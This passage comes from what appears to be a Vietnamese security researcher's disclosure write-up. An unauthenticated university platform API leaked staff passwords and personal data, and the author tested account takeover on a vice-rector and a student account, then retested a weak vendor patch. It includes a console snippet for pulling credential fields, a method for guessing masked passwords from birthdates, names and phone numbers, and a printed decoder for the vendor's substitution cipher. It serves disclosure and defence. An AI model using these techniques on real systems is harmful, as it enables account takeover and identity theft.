<p>Dữ liệu cần thiết để đoán các mật khẩu này <strong>nằm ngay trong cùng phản hồi API</strong>.</p>

<p>Lúc đó tôi mới thấy cái nghịch lý: người dùng Việt Nam thường xây dựng mật khẩu từ thông tin cá nhân như ngày sinh, thành phần tên, hay số điện thoại, và phản hồi API cho mỗi tài khoản cán bộ bao gồm <em>tất cả các trường này</em> ngay cạnh mật khẩu bị che. Nền tảng không chỉ đưa ra cánh cửa đã khóa, mà còn đặt luôn chìa khóa ngay bên cạnh kèm hướng dẫn sử dụng.</p>

<p>Tôi viết một bộ sinh từ điển offline kết hợp:</p>

<ul>
  <li>Ngày sinh (nhiều định dạng: <code class="language-plaintext highlighter-rouge">ddmmyyyy</code>, <code class="language-plaintext highlighter-rouge">dmyyyy</code>, <code class="language-plaintext highlighter-rouge">dd/mm/yyyy</code>)</li>
  <li>Tên, họ (đã bỏ dấu tiếng Việt)</li>
  <li>Số điện thoại (đầy đủ và 4–6 chữ số cuối)</li>
  <li>Các mẫu phổ biến: <code class="language-plaintext highlighter-rouge">tên + ngày sinh</code>, <code class="language-plaintext highlighter-rouge">ngày sinh + tên</code>, <code class="language-plaintext highlighter-rouge">sdt + tên</code></li>
</ul>

<p>Định dạng mật khẩu bị che đóng vai trò bộ xác thực: một mật khẩu ứng viên có thể được xác minh ngay lập tức nếu 2 ký tự đầu, 2 ký tự cuối, và độ dài khớp với mặt nạ, không cần đăng nhập. Không liên hệ với server. Hoàn toàn offline.</p>

<p>Kết quả trên 554 mật khẩu bị lộ:</p>

<table>
  <thead>
    <tr>
      <th>Chỉ số</th>
      <th>Số lượng</th>
      <th>Tỷ lệ</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>Tài khoản có mật khẩu bị lộ</td>
      <td>554</td>
      <td>–</td>
    </tr>
    <tr>
      <td>Plaintext (không cần phục hồi)</td>
      <td>50</td>
      <td>9,0%</td>
    </tr>
    <tr>
      <td>Đã che – phục hồi offline</td>
      <td>158</td>
      <td>28,5%</td>
    </tr>
    <tr>
      <td>Đã che – không phục hồi được</td>
      <td>346</td>
      <td>62,5%</td>
    </tr>
    <tr>
      <td><strong>Tổng thông tin đăng nhập sử dụng được</strong></td>
      <td><strong>208</strong></td>
      <td><strong>37,5%</strong></td>
    </tr>
  </tbody>
</table>

<p>Phân tích phương pháp phục hồi cho 208 bộ thông tin đăng nhập sử dụng được:</p>

<table>
  <thead>
    <tr>
      <th>Phương pháp</th>
      <th>Số lượng</th>
      <th>Mô tả</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>Plaintext</td>
      <td>50</td>
      <td>Mật khẩu lưu dạng văn bản thuần, không cần phục hồi</td>
    </tr>
    <tr>
      <td>Known plaintext</td>
      <td>63</td>
      <td>Mật khẩu khớp chính xác một mẫu phổ biến đã biết</td>
    </tr>
    <tr>
      <td>Từ điển (khớp duy nhất)</td>
      <td>78</td>
      <td>Một ứng viên từ điển duy nhất khớp mặt nạ</td>
    </tr>
    <tr>
      <td>Từ điển (khớp xếp hạng)</td>
      <td>17</td>
      <td>Nhiều ứng viên khớp; xác định đúng theo thứ tự ưu tiên</td>
    </tr>
  </tbody>
</table>

<p>208 bộ thông tin đăng nhập thu được mà không hề chạm vào trang đăng nhập. Các mật khẩu không bị “bẻ khóa” theo nghĩa truyền thống, chúng hoặc được đọc thẳng ở dạng plaintext, hoặc được tái tạo từ dữ liệu tiểu sử do chính endpoint không xác thực cung cấp.</p>

<h3 id="55-những-cán-bộ-này-là-ai">5.5. Những cán bộ này là ai?</h3>

<p>Đây không phải tài khoản thử nghiệm hay hồ sơ bị bỏ hoang. 562 tài khoản cán bộ bao gồm cá nhân thuộc 35 chức vụ khác nhau, từ cố vấn học tập đến trưởng phòng:</p>

<table>
  <thead>
    <tr>
      <th>Chức vụ</th>
      <th>Số lượng</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>Cố vấn học tập</td>
      <td>147</td>
    </tr>
    <tr>
      <td>Nhân viên hành chính</td>
      <td>110</td>
    </tr>
    <tr>
      <td>Chuyên viên</td>
      <td>71</td>
    </tr>
    <tr>
      <td>Giảng viên</td>
      <td>56</td>
    </tr>
    <tr>
      <td>Ủy viên</td>
      <td>22</td>
    </tr>
    <tr>
      <td>Trợ lý hành chính</td>
      <td>17</td>
    </tr>
    <tr>
      <td>Trợ lý giáo vụ</td>
      <td>17</td>
    </tr>
    <tr>
      <td>Lãnh đạo khoa</td>
      <td>14</td>
    </tr>
    <tr>
      <td>Trưởng bộ môn</td>
      <td>12</td>
    </tr>
    <tr>
      <td>Phó trưởng bộ môn</td>
      <td>20</td>
    </tr>
    <tr>
      <td>Các chức vụ khác (25 loại)</td>
      <td>76</td>
    </tr>
  </tbody>
</table>

<p>Mức độ đầy đủ dữ liệu cá nhân của tài khoản cán bộ rất đáng chú ý: 99,6% có username, 98,6% có mật khẩu dưới một dạng nào đó, và 92,9% có địa chỉ email:</p>

<table>
  <thead>
    <tr>
      <th>Trường</th>
      <th>Có dữ liệu</th>
      <th>Trên 562</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>Tên đăng nhập</td>
      <td>560</td>
      <td>99,6%</td>
    </tr>
    <tr>
      <td>Mật khẩu (bất kỳ dạng nào)</td>
      <td>554</td>
      <td>98,6%</td>
    </tr>
    <tr>
      <td>Email</td>
      <td>522</td>
      <td>92,9%</td>
    </tr>
    <tr>
      <td>Số điện thoại</td>
      <td>389</td>
      <td>69,2%</td>
    </tr>
    <tr>
      <td>Ngày sinh</td>
      <td>333</td>
      <td>59,3%</td>
    </tr>
    <tr>
      <td>Số CCCD</td>
      <td>30</td>
      <td>5,3%</td>
    </tr>
    <tr>
      <td>Mật khẩu phục hồi/plaintext</td>
      <td>208</td>
      <td>37,0%</td>
    </tr>
  </tbody>
</table>

<h3 id="56-sự-phi-lý">5.6. Sự phi lý</h3>

<p>Tôi cần nói thẳng, vì càng viết tôi càng thấy tình huống này vô lý đến khó tin:</p>

<p>API phục vụ mật khẩu cho người dùng ẩn danh, cả sinh viên lẫn cán bộ, dù ở dạng che hay plaintext. Cùng API đó phục vụ luôn dữ liệu cá nhân cần thiết để phục hồi mật khẩu bị che. Và không cần xác thực cho bất kỳ bước nào trong quy trình này. Nền tảng vừa đưa ra cánh cửa đã khóa, vừa đặt chìa khóa ngay bên cạnh, vừa chỉ cho biết cửa nào cần mở.</p>

<p>Tại thời điểm này, tôi có 208 bộ thông tin đăng nhập hoạt động được của cán bộ trường đại học, mà chưa hề đăng nhập vào bất cứ đâu, chưa tương tác với bất kỳ form đăng nhập nào. Nhưng tôi cần chứng minh rằng những thông tin đăng nhập này thực sự hoạt động, rằng đây không chỉ là rủi ro trên giấy.</p>

<h2 id="6-chiếm-quyền-tài-khoản--proof-of-concept">6. Chiếm quyền tài khoản – Proof of Concept</h2>

<h3 id="61-chọn-mục-tiêu">6.1. Chọn mục tiêu</h3>

<p>Để chứng minh tác động thực tế, tôi chọn hai tài khoản: một <strong>sinh viên</strong> bình thường và một <strong>Phó Hiệu trưởng</strong> của Trường Đại học X, tài khoản có đặc quyền cao nhất mà tôi có thể xác định. Cả hai đều được truy xuất qua cùng lệnh gọi API không xác thực:</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">CAN</span><span class="p">.</span><span class="nx">db</span><span class="p">(</span><span class="dl">"</span><span class="s2">taiKhoan.xxxx</span><span class="dl">"</span><span class="p">,</span> <span class="kd">function</span><span class="p">()</span> <span class="p">{</span>
    <span class="kd">var</span> <span class="nx">d</span> <span class="o">=</span> <span class="nx">config</span><span class="p">(</span><span class="dl">"</span><span class="s2">taiKhoan.xxxx</span><span class="dl">"</span><span class="p">);</span>
    <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">d</span><span class="p">[</span><span class="dl">"</span><span class="s2">a</span><span class="dl">"</span><span class="p">]);</span>   <span class="c1">// username</span>
    <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">d</span><span class="p">[</span><span class="dl">"</span><span class="s2">ợ</span><span class="dl">"</span><span class="p">]);</span>   <span class="c1">// password</span>
<span class="p">});</span>
</code></pre></div></div>

<p>API trả về tên đăng nhập và mật khẩu cho cả hai. Với cả hai tài khoản, mật khẩu có thể phục hồi được. Tôi nín thở và mở trang đăng nhập.</p>

<h3 id="62-đăng-nhập">6.2. Đăng nhập</h3>

<p>Tôi đọc thông tin đăng nhập từ phản hồi API, truy cập trang đăng nhập, nhập tên đăng nhập và mật khẩu, rồi nhấn “Đăng nhập.” Toàn bộ quá trình không kịch tính như tôi tưởng, không bruteforce, không công cụ bẻ khóa, không chiếm phiên, không exploit, chỉ là đọc một trường từ API rồi gõ nó vào form.</p>

<p>Cả hai tài khoản đều đăng nhập thành công ngay lần đầu, sinh viên lẫn Phó Hiệu trưởng.</p>

<p>Với tài khoản sinh viên, tôi truy cập được giao diện nền tảng mạng nội bộ của trường. Với tài khoản Phó Hiệu trưởng, tôi có toàn quyền truy cập quản trị. Cảm giác lúc đó không phải hào hứng mà là lo lắng thật sự, vì nếu tôi làm được, bất kỳ ai cũng làm được.</p>

<p><img src="/assets/posts/J0194R/1_uniplatform_after_access.png" alt="Giao diện nền tảng sau khi chiếm quyền tài khoản sinh viên" />
<em>Hình 3: Giao diện nền tảng mạng nội bộ, được truy cập bằng thông tin đăng nhập của một sinh viên, đọc trực tiếp từ phản hồi API không xác thực.</em></p>

<h3 id="63-những-gì-có-thể-truy-cập">6.3. Những gì có thể truy cập</h3>

<p>Với tài khoản sinh viên, nền tảng mở ra giao diện mạng nội bộ đầy đủ. Với thông tin đăng nhập quản trị của Phó Hiệu trưởng, phạm vi truy cập mở rộng đáng kể hơn:</p>

<ul>
  <li>Toàn quyền quản lý người dùng</li>
  <li>Truy cập thông báo nội bộ và truyền thông</li>
  <li>Khả năng chỉnh sửa hồ sơ người dùng</li>
  <li>Truy cập các chức năng và cài đặt quản trị</li>
</ul>

<p>Tôi chụp ảnh màn hình để ghi nhận việc truy cập, rồi kết thúc cả hai phiên ngay lập tức. Không thực hiện hành động nào, không sửa đổi dữ liệu nào, và không khám phá thêm gì dưới các tài khoản bị chiếm quyền. Điều cần chứng minh đã được chứng minh.</p>

<h2 id="7-bản-vá-không-thực-sự-vá">7. Bản “vá” không thực sự vá</h2>

<h3 id="71-phản-hồi-của-nhà-cung-cấp-tecuniversityxvn">7.1. Phản hồi của nhà cung cấp: tec.universityx.vn</h3>

<p>Sau khi thực hiện công bố có trách nhiệm (responsible disclosure) vào tháng 2 năm 2026, Công ty Y đã triển khai các thay đổi trên <code class="language-plaintext highlighter-rouge">tec.universityx.vn</code> (hệ thống thi từ Phần 1). Tôi thận trọng lạc quan khi nghe tin. Bản “vá” gồm hai phần:</p>

<p><strong>Làm sạch dữ liệu:</strong> Một số trường PII đã được xóa nội dung cho bản ghi thí sinh. Họ tên, số điện thoại, email, và số CCCD đã được loại bỏ khỏi phản hồi API.</p>

<p><strong>Lớp che giấu (obfuscation):</strong> Dữ liệu còn lại được bọc trong một sơ đồ mã hóa Base64 tùy chỉnh gọi là “b6x.”</p>

<p>Phần thứ nhất là một bước đi đúng hướng. Phần thứ hai thì không.</p>

<h3 id="72-mã-hóa-b6x-mật-mã-từ-thế-kỷ-thứ-9">7.2. Mã hóa b6x: Mật mã từ thế kỷ thứ 9</h3>

<p>Trước bản vá, API trả về các trường ở dạng văn bản thuần:</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">{</span>
    <span class="dl">"</span><span class="s2">16xxxxx</span><span class="dl">"</span><span class="p">:</span> <span class="dl">"</span><span class="s2">Tran Thi Hxxx</span><span class="dl">"</span><span class="p">,</span>       <span class="c1">// Họ tên</span>
    <span class="dl">"</span><span class="s2">16xxxxx</span><span class="dl">"</span><span class="p">:</span> <span class="dl">"</span><span class="s2">23xxxxxxxx</span><span class="dl">"</span><span class="p">,</span>           <span class="c1">// Số CCCD</span>
    <span class="dl">"</span><span class="s2">16xxxxx</span><span class="dl">"</span><span class="p">:</span> <span class="dl">"</span><span class="s2">09xxxxxxxx</span><span class="dl">"</span><span class="p">,</span>           <span class="c1">// Số điện thoại</span>
    <span class="dl">"</span><span class="s2">16xxxxx</span><span class="dl">"</span><span class="p">:</span> <span class="dl">"</span><span class="s2">hoaixxxx@gmail.com</span><span class="dl">"</span>    <span class="c1">// Email</span>
<span class="p">}</span>
</code></pre></div></div>

<p>Sau bản vá, các trường được mã hóa thành một khối duy nhất:</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">{</span>
    <span class="dl">"</span><span class="s2">i</span><span class="dl">"</span><span class="p">:</span> <span class="dl">"</span><span class="s2">16xxxxx</span><span class="dl">"</span><span class="p">,</span>
    <span class="dl">"</span><span class="s2">_5a9fxxxxxxxxxxxxxxxxxxxxxxxxxxxx</span><span class="dl">"</span><span class="p">:</span> <span class="dl">"</span><span class="s2">wqD2xxxxxxxxxxxxxxxxxxxx...</span><span class="dl">"</span>
<span class="p">}</span>
</code></pre></div></div>

<p>Thoạt nhìn, điều này trông như đã được mã hóa đàng hoàng. Nhưng khi tôi bắt đầu đọc kỹ JavaScript mà trình duyệt tải về, tôi nhận ra đây chỉ là mật mã thay thế đơn bảng (monoalphabetic substitution cipher), một kỹ thuật mà nhà toán học Al-Kindi đã phá giải từ thế kỷ thứ 9 trong <em>Bản thảo về Giải mã Thông điệp Mật mã</em> (khoảng năm 850 SCN). Hơn một nghìn năm trước.</p>

<p>Toàn bộ “mã hóa” chỉ là phép thay thế ký tự đơn giản giữa hai bảng chữ cái:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Tùy chỉnh (b6x):  OsCmIBxZDQxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxtz0dV:e5vFb
Chuẩn B64:         ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=
</code></pre></div></div>

<p>Và hàm giải mã? Nó được giao cùng trong gói JavaScript mà mọi trình duyệt đều tải về:</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">d64</span> <span class="o">=</span> <span class="kd">function</span><span class="p">(</span><span class="nx">v</span><span class="p">,</span> <span class="nx">k</span><span class="p">)</span> <span class="p">{</span>
    <span class="k">switch</span><span class="p">(</span><span class="nx">k</span><span class="p">)</span> <span class="p">{</span>
        <span class="k">case</span> <span class="dl">"</span><span class="s2">x</span><span class="dl">"</span><span class="p">:</span>
            <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="nx">v</span><span class="p">)</span> <span class="k">return</span> <span class="dl">""</span><span class="p">;</span>
            <span class="nx">v</span> <span class="o">=</span> <span class="nx">strtr</span><span class="p">(</span><span class="nx">v</span><span class="p">,</span>
                <span class="dl">"</span><span class="s2">OsCmIBxZDQxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxtz0dV:e5vFb</span><span class="dl">"</span><span class="p">,</span>
                <span class="dl">"</span><span class="s2">ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=</span><span class="dl">"</span>
            <span class="p">);</span>
            <span class="k">return</span> <span class="nb">decodeURIComponent</span><span class="p">(</span>
                <span class="nx">atob</span><span class="p">(</span><span class="nx">v</span><span class="p">).</span><span class="nx">split</span><span class="p">(</span><span class="dl">""</span><span class="p">).</span><span class="nx">map</span><span class="p">(</span><span class="kd">function</span><span class="p">(</span><span class="nx">c</span><span class="p">)</span> <span class="p">{</span>
                    <span class="k">return</span> <span class="dl">"</span><span class="s2">%</span><span class="dl">"</span> <span class="o">+</span> <span class="nx">c</span><span class="p">.</span><span class="nx">charCodeAt</span><span class="p">(</span><span class="mi">0</span><span class="p">).</span><span class="nx">toString</span><span class="p">(</span><span class="mi">16</span><span class="p">);</span>
                <span class="p">}).</span><span class="nx">join</span><span class="p">(</span><span class="dl">""</span><span class="p">)</span>
            <span class="p">);</span>
    <span class="p">}</span>
<span class="p">};</span>
</code></pre></div></div>

<p>Năm dòng code để vô hiệu hóa toàn bộ biện pháp “bảo mật.” Khóa, thuật toán, và cách triển khai đều được giao thẳng cho trình duyệt của kẻ tấn công như một phần của quá trình tải trang bình thường. Bảo mật bằng che giấu (security through obscurity), và còn không phải kiểu che giấu tốt.</p>

<h3 id="73-connectionsuniversityxvn-hoàn-toàn-không-thay-đổi">7.3. connections.universityx.vn: Hoàn toàn không thay đổi</h3>

<p>Và đây mới là điều khiến tôi thực sự bực bội. Trong khi Công ty Y bỏ công áp dụng bản vá mỹ phẩm cho hệ thống thi, nền tảng mạng nội bộ tại <code class="language-plaintext highlighter-rouge">connections.universityx.vn</code>, nơi chứa 80.053 tài khoản và mật khẩu cán bộ, <strong>không nhận được bất kỳ thay đổi nào</strong>. Toàn bộ 80.053 tài khoản vẫn có thể truy cập đầy đủ, mật khẩu cán bộ vẫn nằm trong phản hồi API.</p>

<p>Họ vá cửa sổ và để ngỏ cửa chính.</p>

<h3 id="74-kết-quả-kiểm-tra-lại">7.4. Kết quả kiểm tra lại</h3>

<p>Vào ngày 10 tháng 3 năm 2026, tôi quay lại và kiểm tra lại một cách có hệ thống mọi vector tấn công trên cả hai nền tảng:</p>

<table>
  <thead>
    <tr>
      <th>Kiểm tra</th>
      <th>Mục tiêu</th>
      <th>Kết quả</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>T1: Framework JS có thể truy cập</td>
      <td>Cả hai</td>
      <td><strong>CÒN LỖ HỔNG</strong></td>
    </tr>
    <tr>
      <td>T2: Tự tạo phiên không cần xác thực</td>
      <td>Cả hai</td>
      <td><strong>CÒN LỖ HỔNG</strong></td>
    </tr>
    <tr>
      <td>T3: IDOR tài khoản</td>
      <td>connections.universityx.vn</td>
      <td><strong>CÒN LỖ HỔNG</strong></td>
    </tr>
    <tr>
      <td>T4: Truy cập bảng thí sinh</td>
      <td>tec.universityx.vn</td>
      <td><strong>CÒN LỖ HỔNG</strong> (chỉ có b6x)</td>
    </tr>
    <tr>
      <td>T5: Tìm kiếm bảng đăng ký</td>
      <td>tec.universityx.vn</td>
      <td>ĐÃ VÁ</td>
    </tr>
    <tr>
      <td>T6: Tải dữ liệu hàng loạt</td>
      <td>Cả hai</td>
      <td><strong>CÒN LỖ HỔNG</strong></td>
    </tr>
    <tr>
      <td>T7: Xác thực XHR</td>
      <td>tec.universityx.vn</td>
      <td>ĐÃ VÁ</td>
    </tr>
    <tr>
      <td>T8: Truy cập ảnh CDN</td>
      <td>tec.universityx.vn</td>
      <td>ĐÃ VÁ</td>
    </tr>
    <tr>
      <td>T9: Lộ trường mật khẩu</td>
      <td>connections.universityx.vn</td>
      <td><strong>CÒN LỖ HỔNG</strong></td>
    </tr>
    <tr>
      <td>T10: Truy cập nền tảng mạng nội bộ</td>
      <td>connections.universityx.vn</td>
      <td><strong>CÓ THỂ TRUY CẬP</strong></td>
    </tr>
  </tbody>
</table>

<p><strong>Kết quả: 7 trên 10 kiểm tra vẫn còn lỗ hổng.</strong> Tìm kiếm đăng ký và CDN ảnh đã bị hạn chế, và một endpoint XHR đã thêm kiểm tra token. Nhưng lỗ hổng cốt lõi, truy cập cơ sở dữ liệu không xác thực qua IDOR, vẫn có thể khai thác hoàn toàn trên cả hai nền tảng.</p>

<p>Nhà cung cấp chữa triệu chứng mà bỏ mặc căn bệnh.</p>

<h2 id="8-đánh-giá-tác-động">8. Đánh giá tác động</h2>

<h3 id="81-quy-mô-phơi-bày">8.1. Quy mô phơi bày</h3>

<table>
  <thead>
    <tr>
      <th>Loại</th>
      <th>Số lượng</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>Tổng tài khoản bị lộ</td>
      <td>80.053</td>
    </tr>
    <tr>
      <td>Họ tên đầy đủ</td>
      <td>80.037</td>
    </tr>
    <tr>
      <td>Ngày sinh</td>
      <td>78.637</td>
    </tr>
    <tr>
      <td>Số điện thoại</td>
      <td>23.970</td>
    </tr>
    <tr>
      <td>Địa chỉ email</td>
      <td>29.640</td>
    </tr>
    <tr>
      <td>Số CCCD/CMND</td>
      <td>2.750</td>
    </tr>
    <tr>
      <td>Quê quán</td>
      <td>50.042</td>
    </tr>
    <tr>
      <td>Ảnh đại diện</td>
      <td>6.586</td>
    </tr>
    <tr>
      <td>Tên người thân</td>
      <td>677 (333 bố + 344 mẹ)</td>
    </tr>
    <tr>
      <td>Tài khoản có dữ liệu đăng nhập</td>
      <td>561</td>
    </tr>
    <tr>
      <td>Tài khoản có mật khẩu</td>
      <td>554 (50 plaintext + 504 đã che)</td>
    </tr>
    <tr>
      <td>Thông tin đăng nhập sử dụng được</td>
      <td>208 (50 plaintext + 158 phục hồi)</td>
    </tr>
    <tr>
      <td>Chiếm quyền tài khoản đã chứng minh</td>
      <td>Có (sinh viên + Phó Hiệu trưởng)</td>
    </tr>
  </tbody>
</table>

<h3 id="82-độ-phức-tạp-tấn-công">8.2. Độ phức tạp tấn công</h3>

<p>Đây không phải một cuộc tấn công tinh vi. Toàn bộ chuỗi khai thác chỉ cần:</p>

<ol>
  <li>Mở trình duyệt.</li>
  <li>Mở developer console.</li>
  <li>Gõ một lệnh gọi API.</li>
  <li>Đọc phản hồi.</li>
</ol>

<p>CVSS 3.1 Vector: <code class="language-plaintext highlighter-rouge">AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N</code> – <strong>9.8 Critical</strong>.</p>

<p>Không cần công cụ đặc biệt, không cần chuyên môn kỹ thuật ngoài JavaScript cơ bản, không cần tương tác từ nạn nhân. Hoàn toàn có thể tự động hóa và thực hiện được ở quy mô lớn. Một kẻ tấn công có động cơ có thể trích xuất toàn bộ 80.053 tài khoản trong vài giờ.</p>

<h3 id="83-các-kịch-bản-rủi-ro-thực-tế">8.3. Các kịch bản rủi ro thực tế</h3>

<p><strong>Đánh cắp danh tính và lừa đảo:</strong> 2.750 số CCCD kết hợp với họ tên đầy đủ, ngày sinh, và địa chỉ. Chỉ cần bấy nhiêu thông tin là đủ để mở tài khoản ngân hàng giả, vay tín dụng đen, hoặc thực hiện SIM-swap. Những người này sẽ chỉ biết khi đã quá muộn, khi có ai đó gọi đến đòi nợ cho khoản vay họ chưa từng đăng ký.</p>

<p><strong>Phishing có mục tiêu:</strong> 29.640 địa chỉ email và 23.970 số điện thoại kết hợp với ngữ cảnh cá nhân chi tiết, khoa nào, ngành gì, năm nào nhập học, tạo nên nguyên liệu cho những chiến dịch social engineering mà người nhận gần như không thể phân biệt với thông tin liên lạc hợp pháp từ trường. Một email giả từ “phòng đào tạo” gửi đúng tên, đúng khoa, đúng khóa học sẽ có tỷ lệ thành công rất cao.</p>

<p><strong>Chiếm quyền tài khoản dây chuyền:</strong> 208 bộ thông tin đăng nhập cán bộ có thể được thử trên các hệ thống khác: email trường, cổng nội bộ, dịch vụ công. Tài khoản Phó Hiệu trưởng bị chiếm quyền có thể bị lợi dụng để di chuyển ngang (lateral movement) vào các hệ thống nhạy cảm hơn, và với quyền quản trị, khả năng gây thiệt hại là rất lớn.</p>

<p><strong>Tổn hại tổ chức:</strong> Truy cập quản trị trái phép có thể cho phép sửa đổi hồ sơ sinh viên, kết quả học tập, hoặc thông báo chính thức. Một tài khoản bị chiếm quyền có thể thay đổi điểm số hoặc gửi thông báo giả cho toàn trường, và không ai biết đó không phải Phó Hiệu trưởng thật.</p>

<p><strong>Người thân gặp rủi ro:</strong> 677 tài khoản lộ tên bố mẹ và năm sinh, dữ liệu có thể được sử dụng trong social engineering hoặc vượt qua xác minh danh tính. Sự phơi bày không dừng lại ở những người đã đăng ký mà lan ra cả gia đình họ.</p>

<h3 id="84-khung-pháp-lý-luật-bảo-vệ-dữ-liệu-cá-nhân-việt-nam">8.4. Khung pháp lý: Luật Bảo vệ dữ liệu cá nhân Việt Nam</h3>

<p>Việt Nam bảo vệ dữ liệu cá nhân thông qua hai tầng pháp luật: <strong><a href="https://vanban.chinhphu.vn/?pageid=27160&amp;docid=207759">Nghị định 13/2023/NĐ-CP</a></strong> (có hiệu lực từ ngày 1 tháng 7 năm 2023) và <strong><a href="https://chinhphu.vn/?pageid=27160&amp;docid=214590&amp;classid=1&amp;typegroupid=3">Luật Bảo vệ dữ liệu cá nhân – Luật số 91/2025/QH15</a></strong> (được thông qua ngày 26 tháng 6 năm 2025, có hiệu lực từ ngày 1 tháng 1 năm 2026). Kết hợp lại, chúng tạo thành khung pháp lý yêu cầu các tổ chức bảo vệ dữ liệu cá nhân, trao quyền kiểm soát thông tin cho công dân, và áp đặt chế tài nghiêm khắc đối với vi phạm.</p>

<p>Cả Trường Đại học X và Công ty Y đều đang vi phạm trực tiếp, có bằng chứng rõ ràng khung pháp lý này. Không cần phải diễn giải hay suy đoán gì cả, các vi phạm mang tính kiến trúc, có hệ thống, và đang diễn ra ngay lúc này.</p>

<h4 id="luật-định-nghĩa-gì-là-dữ-liệu-được-bảo-vệ">Luật định nghĩa gì là dữ liệu được bảo vệ</h4>

<p><strong>Nghị định 13, Điều 2, Khoản 3</strong> phân loại các thông tin sau là dữ liệu cá nhân cơ bản: họ tên, ngày sinh, giới tính, nơi sinh, nơi cư trú, quốc tịch, hình ảnh cá nhân, số điện thoại, số CMND/CCCD, và thông tin quan hệ gia đình. <strong>Từng loại một</strong> trong số này đã bị phơi bày trong cuộc điều tra, với hơn 80.000 cá nhân, mà không có bất kỳ kiểm soát truy cập nào.</p>

<p><strong>Nghị định 13, Điều 2, Khoản 4</strong> định nghĩa <strong>dữ liệu cá nhân nhạy cảm</strong> là dữ liệu mà khi bị vi phạm sẽ ảnh hưởng trực tiếp đến quyền và lợi ích hợp pháp của cá nhân, bao gồm quan điểm chính trị và tôn giáo, dữ liệu dân tộc, và dữ liệu về tiền án tiền sự. Cuộc điều tra này đã phơi bày dân tộc của 7.845 tài khoản và tôn giáo của 5.476 tài khoản.</p>

<p><strong>Luật 91/2025, Điều 2</strong> củng cố các định nghĩa này và bổ sung rằng dữ liệu cá nhân nhạy cảm được xác định theo danh mục do Chính phủ ban hành, và rằng ngay cả dữ liệu đã được định danh lại (de-identified), một khi được tái định danh, vẫn là dữ liệu cá nhân (Điều 2, Khoản 1).</p>

<h4 id="ai-chịu-trách-nhiệm">Ai chịu trách nhiệm?</h4>

<p>Cả hai văn bản pháp luật đều vạch ra cùng một ranh giới rõ ràng giữa hai vai trò:</p>

<ul>
  <li>
    <p><strong>Bên Kiểm soát dữ liệu cá nhân</strong>: tổ chức quyết định mục đích và phương tiện xử lý dữ liệu cá nhân (Nghị định 13, Điều 2, Khoản 9; Luật 91, Điều 2, Khoản 7). <strong>Trường Đại học X là Bên Kiểm soát dữ liệu cá nhân.</strong> Trường quyết định thu thập dữ liệu sinh viên và cán bộ, quyết định lưu trữ những dữ liệu gì, và chọn triển khai nền tảng Connections. Dữ liệu thuộc về sinh viên và cán bộ của Trường Đại học X. Trách nhiệm bắt đầu từ đây.</p>
  </li>
  <li>
    <p><strong>Bên Xử lý dữ liệu cá nhân</strong>: tổ chức xử lý dữ liệu thay mặt Bên Kiểm soát, thông qua hợp đồng hoặc thỏa thuận (Nghị định 13, Điều 2, Khoản 10; Luật 91, Điều 2, Khoản 8). <strong>Công ty Y là Bên Xử lý dữ liệu cá nhân.</strong> Họ xây dựng, lưu trữ, và vận hành nền tảng Connections chứa và phục vụ dữ liệu của Trường Đại học X. Họ là người quyết định rằng nền tảng không cần xác thực.</p>
  </li>
</ul>

<h4 id="những-gì-được-yêu-cầu--và-không-được-thực-hiện">Những gì được yêu cầu – và không được thực hiện</h4>

<p><strong>Nghị định 13, Điều 26</strong> yêu cầu các biện pháp bảo vệ dữ liệu phải được áp dụng ngay từ đầu và xuyên suốt toàn bộ vòng đời xử lý. Các biện pháp này phải bao gồm cả biện pháp tổ chức và kỹ thuật (Khoản 2). Nền tảng của Công ty Y <em>không có</em> biện pháp kỹ thuật nào: không xác thực, không kiểm soát truy cập, không mã hóa, API phục vụ dữ liệu cá nhân thô cho bất kỳ ai truy cập.</p>

<p><strong>Nghị định 13, Điều 27</strong> yêu cầu bên kiểm soát và bên xử lý phải kiểm tra an ninh mạng của hệ thống và thiết bị được sử dụng để xử lý dữ liệu cá nhân, và phải xóa hoặc tiêu hủy dữ liệu trên thiết bị không thể khôi phục (Khoản 4). Nền tảng không có kiểm tra an ninh mạng nào: bất kỳ trình duyệt nào cũng có thể truy vấn cơ sở dữ liệu trực tiếp.</p>

<p><strong>Luật 91/2025, Điều 3</strong> thiết lập các nguyên tắc cốt lõi: dữ liệu cá nhân chỉ được thu thập và xử lý trong phạm vi xác định, cho mục đích rõ ràng và hợp pháp (Khoản 2); phải triển khai các biện pháp thể chế, kỹ thuật, và nhân lực hiệu quả để bảo vệ dữ liệu cá nhân (Khoản 4); và tổ chức phải chủ động phòng ngừa, phát hiện, ngăn chặn, và xử lý kịp thời mọi vi phạm (Khoản 5). Công ty Y vi phạm từng nguyên tắc một, và Trường Đại học X không xác minh rằng bất kỳ nguyên tắc nào đang được tuân thủ.</p>

<p><strong>Luật 91/2025, Điều 12</strong> yêu cầu rõ ràng việc <strong>mã hóa dữ liệu cá nhân</strong>, tức chuyển đổi sang dạng không thể nhận diện mà không có giải mã (Khoản 1). Công ty Y làm điều ngược lại: họ lưu mật khẩu ở dạng plaintext và dữ liệu cá nhân trong phản hồi API thô, không mã hóa, ai cũng có thể truy cập.</p>

